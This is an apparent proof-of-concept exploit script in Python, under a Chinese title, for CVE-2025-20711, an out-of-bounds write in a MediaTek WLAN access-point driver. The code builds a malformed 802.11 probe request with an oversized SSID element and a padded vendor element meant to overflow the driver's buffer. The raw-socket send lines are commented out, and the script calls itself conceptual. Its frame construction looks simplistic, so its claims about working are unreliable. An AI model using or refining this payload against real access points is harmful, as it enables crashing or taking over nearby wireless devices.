CVE-2025-20711 MediaTek WLAN AP驱动越界写入权限提升漏洞

# CVE-2025-20711 - MediaTek WLAN AP Driver Out of Bounds Write PoC # This is a conceptual PoC demonstrating the vulnerability exploitation # The actual exploit requires proximity to the target device import struct import socket import time class MediaTekWLANExploit: """ PoC for CVE-2025-20711: Out of bounds write in MediaTek WLAN AP driver Vulnerability: Incorrect bounds check in WLAN AP driver Impact: Remote (adjacent) privilege escalation """ # 802.11 frame header constants FRAME_TYPE_MANAGEMENT = 0x00 FRAME_TYPE_CONTROL = 0x01 FRAME_TYPE_DATA = 0x02 # Management frame subtypes SUBTYPE_BEACON = 0x08 SUBTYPE_PROBE_REQ = 0x04 SUBTYPE_ASSOC_REQ = 0x00 SUBTYPE_AUTH = 0x0B def __init__(self, target_bssid, interface='wlan0'): self.target_bssid = target_bssid self.interface = interface self.overflow_size = 512 # Size to trigger OOB write def build_malicious_frame(self, subtype, payload): """Build a malicious 802.11 frame to trigger OOB write""" # Frame Control field frame_control = struct.pack('<H', (0x00 << 0) | # Protocol Version (subtype << 4) | # Subtype (0x00 << 8) | # Type (Management) (0x00 << 10) # To DS ) # Duration duration = struct.pack('<H', 0x0000) # Address fields (DA, SA, BSSID) addr1 = b'\xff\xff\xff\xff\xff\xff' # Destination addr2 = b'\x00\x11\x22\x33\x44\x55' # Source (attacker) addr3 = self.target_bssid # BSSID # Sequence control seq_ctrl = struct.pack('<H', 0x0000) # Malicious payload - oversized to trigger OOB write # The driver has incorrect bounds check and will write beyond buffer malicious_payload = payload + b'\x41' * self.overflow_size frame = frame_control + duration + addr1 + addr2 + addr3 + seq_ctrl + malicious_payload return frame def craft_exploit_payload(self): """Craft the exploit payload to trigger OOB write""" # IE tag for SSID with extended length to trigger bounds check bypass ssid_tag = struct.pack('BB', 0x00, 0xFF) # SSID tag with max length ssid_data = b'A' * 255 # Vendor specific IE with malicious content vendor_ie = struct.pack('BBB', 0xDD, 0xFF, 0x00) # Vendor IE vendor_data = b'\x00\x50\xf2' # WFA OUI vendor_data += b'\x01' # WPS type vendor_data += b'\x00' * 252 # Padding to overflow payload = ssid_tag + ssid_data + vendor_ie + vendor_data return payload def send_exploit(self): """Send the exploit frame to the target AP""" payload = self.craft_exploit_payload() frame = self.build_malicious_frame(self.SUBTYPE_PROBE_REQ, payload) print(f"[*] Sending malicious probe request to {self.target_bssid}") print(f"[*] Frame size: {len(frame)} bytes") print(f"[!] This should trigger OOB write in MediaTek WLAN AP driver") # In actual exploitation, this would be sent via raw socket # s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) # s.bind((self.interface, 0)) # s.send(frame) return frame # Usage if __name__ == '__main__': target = b'\xAA\xBB\xCC\xDD\xEE\xFF' exploit = MediaTekWLANExploit(target_bssid=target) exploit.send_exploit() print("[+] Exploit sent. Check if target device crashed or was compromised.")